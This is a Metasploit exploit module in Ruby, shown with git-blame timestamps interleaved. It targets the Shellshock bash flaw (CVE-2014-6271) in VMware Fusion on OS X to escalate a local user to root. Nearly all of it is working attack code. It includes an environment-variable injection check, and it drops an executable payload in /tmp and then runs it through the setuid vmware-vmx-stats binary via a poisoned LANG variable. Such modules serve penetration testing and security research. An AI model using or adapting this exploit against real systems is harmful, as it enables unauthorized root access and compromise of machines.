2014-09-24 22:44:14 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2014-09-24 22:44:14 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
2014-09-24 22:44:14 +00:00
|
|
|
Rank = NormalRanking
|
|
|
|
|
|
|
|
include Msf::Post::File
|
|
|
|
include Msf::Exploit::EXE
|
|
|
|
include Msf::Exploit::FileDropper
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
2015-12-01 16:40:46 +00:00
|
|
|
'Name' => 'OS X VMWare Fusion Privilege Escalation via Bash Environment Code Injection (Shellshock)',
|
2014-09-24 22:44:14 +00:00
|
|
|
'Description' => %q{
|
2015-12-01 16:40:46 +00:00
|
|
|
This module exploits the Shellshock vulnerability, a flaw in how the Bash shell
|
|
|
|
handles external environment variables. This module targets the VMWare Fusion
|
|
|
|
application, allowing an unprivileged local user to get root access.
|
2014-09-24 22:44:14 +00:00
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Stephane Chazelas', # discovered the bash bug
|
|
|
|
'juken', # discovered the VMWare priv esc
|
2014-09-25 05:55:04 +00:00
|
|
|
'joev', # msf module
|
|
|
|
'mubix' # vmware-vmx-stats
|
2014-09-24 22:44:14 +00:00
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
2015-12-01 16:40:46 +00:00
|
|
|
['CVE', '2014-6271'],
|
|
|
|
['CWE', '94'],
|
2016-07-15 17:00:31 +00:00
|
|
|
['OSVDB', '112004'],
|
2015-12-01 16:40:46 +00:00
|
|
|
['EDB', '34765']
|
2014-09-24 22:44:14 +00:00
|
|
|
],
|
|
|
|
'Platform' => 'osx',
|
2016-10-27 21:16:05 +00:00
|
|
|
'Arch' => [ ARCH_X64 ],
|
2014-09-24 22:44:14 +00:00
|
|
|
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
|
|
|
'Targets' => [
|
|
|
|
[ 'Mac OS X 10.9 Mavericks x64 (Native Payload)',
|
|
|
|
{
|
|
|
|
'Platform' => 'osx',
|
2016-10-27 21:16:05 +00:00
|
|
|
'Arch' => ARCH_X64
|
2014-09-24 22:44:14 +00:00
|
|
|
}
|
|
|
|
]
|
|
|
|
],
|
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'Sep 24 2014'
|
|
|
|
))
|
|
|
|
|
|
|
|
register_options([
|
|
|
|
OptString.new('VMWARE_PATH', [true, "The path to VMware.app", '/Applications/VMware Fusion.app']),
|
2017-05-03 20:42:21 +00:00
|
|
|
])
|
2014-09-24 22:44:14 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
check_str = Rex::Text.rand_text_alphanumeric(5)
|
|
|
|
# ensure they are vulnerable to bash env variable bug
|
|
|
|
if cmd_exec("env x='() { :;}; echo #{check_str}' bash -c echo").include?(check_str) &&
|
|
|
|
cmd_exec("file '#{datastore['VMWARE_PATH']}'") !~ /cannot open/
|
|
|
|
|
|
|
|
Exploit::CheckCode::Vulnerable
|
|
|
|
else
|
|
|
|
Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
|
2014-09-25 05:55:04 +00:00
|
|
|
path = '/Contents/Library/vmware-vmx-stats' # path to the suid binary
|
2014-09-24 22:44:14 +00:00
|
|
|
|
2014-09-25 05:24:39 +00:00
|
|
|
print_status("Writing payload file as '#{payload_file}'")
|
2014-09-24 22:44:14 +00:00
|
|
|
exe = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
|
|
|
|
write_file(payload_file, exe)
|
|
|
|
register_file_for_cleanup(payload_file)
|
|
|
|
cmd_exec("chmod +x #{payload_file}")
|
|
|
|
|
2014-09-25 05:24:39 +00:00
|
|
|
print_status("Running VMWare services...")
|
2014-09-25 06:09:12 +00:00
|
|
|
cmd_exec("LANG='() { :;}; #{payload_file}' '#{datastore['VMWARE_PATH']}#{path}' /dev/random")
|
2014-09-24 22:44:14 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
end
|